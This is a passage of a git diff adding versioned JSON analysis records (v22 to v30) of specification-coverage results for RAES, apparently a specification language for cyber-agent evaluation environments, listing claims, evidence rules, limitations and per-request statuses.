test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-341-v21", + "snapshot_sha256": "eef7242fc858af6a1a0310f5701938a6bb40e5d11ba212374d08067d789abe4a" +} diff --git a/docs/research/specification-coverage/analysis-v22.json b/docs/research/specification-coverage/analysis-v22.json new file mode 100644 index 000000000..9be3c5762 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v22.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1242-v22", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16T06:27:14.410933+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v22", + "snapshot_sha256": "45aa5589e946d48216496028570d4eb86f3468e3704423f45cb1b0d847779d31" +} diff --git a/docs/research/specification-coverage/analysis-v23.json b/docs/research/specification-coverage/analysis-v23.json new file mode 100644 index 000000000..c9aaedd4a --- /dev/null +++ b/docs/research/specification-coverage/analysis-v23.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1242-v23", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16T07:35:28.299884+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v23", + "snapshot_sha256": "5ca08ae28598b41ba89cd5e8b25dd080683e8053e6cfc69cc0bb3330c60c4fa1" +} diff --git a/docs/research/specification-coverage/analysis-v24.json b/docs/research/specification-coverage/analysis-v24.json new file mode 100644 index 000000000..0484f0fb1 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v24.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1242-v24", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16T08:11:59.456468+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v24", + "snapshot_sha256": "81029b7b80981fc1d75d2467205b3744540614763c70db2ec1d0ee7e7f9d6af1" +} diff --git a/docs/research/specification-coverage/analysis-v25.json b/docs/research/specification-coverage/analysis-v25.json new file mode 100644 index 000000000..9e07755c6 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v25.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-214-v25", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-214-v25", + "snapshot_sha256": "ca0b737f0082f9da8b3b8382c507678ac0771a19d406061342e07b25cd27db68" +} diff --git a/docs/research/specification-coverage/analysis-v26.json b/docs/research/specification-coverage/analysis-v26.json new file mode 100644 index 000000000..75607a09a --- /dev/null +++ b/docs/research/specification-coverage/analysis-v26.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1005-v26", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated. Replay of the integrated augmentation-scope implementation retains those classifications and claim limits; native backend scope enforcement is not evaluated.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1005-v26", + "snapshot_sha256": "cf25d7e7449f9b94ecaa5431e1f0cd65f166a36ac8f2ad021f43b302d5c1a5ad" +} diff --git a/docs/research/specification-coverage/analysis-v27.json b/docs/research/specification-coverage/analysis-v27.json new file mode 100644 index 000000000..65b1e27fe --- /dev/null +++ b/docs/research/specification-coverage/analysis-v27.json @@ -0,0 +1,90 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1299-v27", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-17T04:04:20.260824+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1299-v27", + "snapshot_sha256": "45ba22406fb10b55a8fe12393f9c87f6216acfc9bd5e8913674f1d9cc1b73108" +} diff --git a/docs/research/specification-coverage/analysis-v28.json b/docs/research/specification-coverage/analysis-v28.json new file mode 100644 index 000000000..24bccecee --- /dev/null +++ b/docs/research/specification-coverage/analysis-v28.json @@ -0,0 +1,91 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1223-v28", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-17T05:22:23.214212+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1223-v28", + "snapshot_sha256": "4040dc3b84bb1c706df37c0b1a9f4c720cba5c97c18c0532adea12dce2b16e5c" +} diff --git a/docs/research/specification-coverage/analysis-v29.json b/docs/research/specification-coverage/analysis-v29.json new file mode 100644 index 000000000..89e3831ff --- /dev/null +++ b/docs/research/specification-coverage/analysis-v29.json @@ -0,0 +1,91 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1297-v29", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-17", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1297-v29", + "snapshot_sha256": "875ba5aad0990712268a58dbc11788a2999b49a2f4443474a0692aab9ee9572f" +} diff --git a/docs/research/specification-coverage/analysis-v30.json b/docs/research/specification-coverage/analysis-v30.json new file mode 100644 index 000000000..ae8fce687 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v30.json @@ -0,0 +1,92 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1179-v30", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": 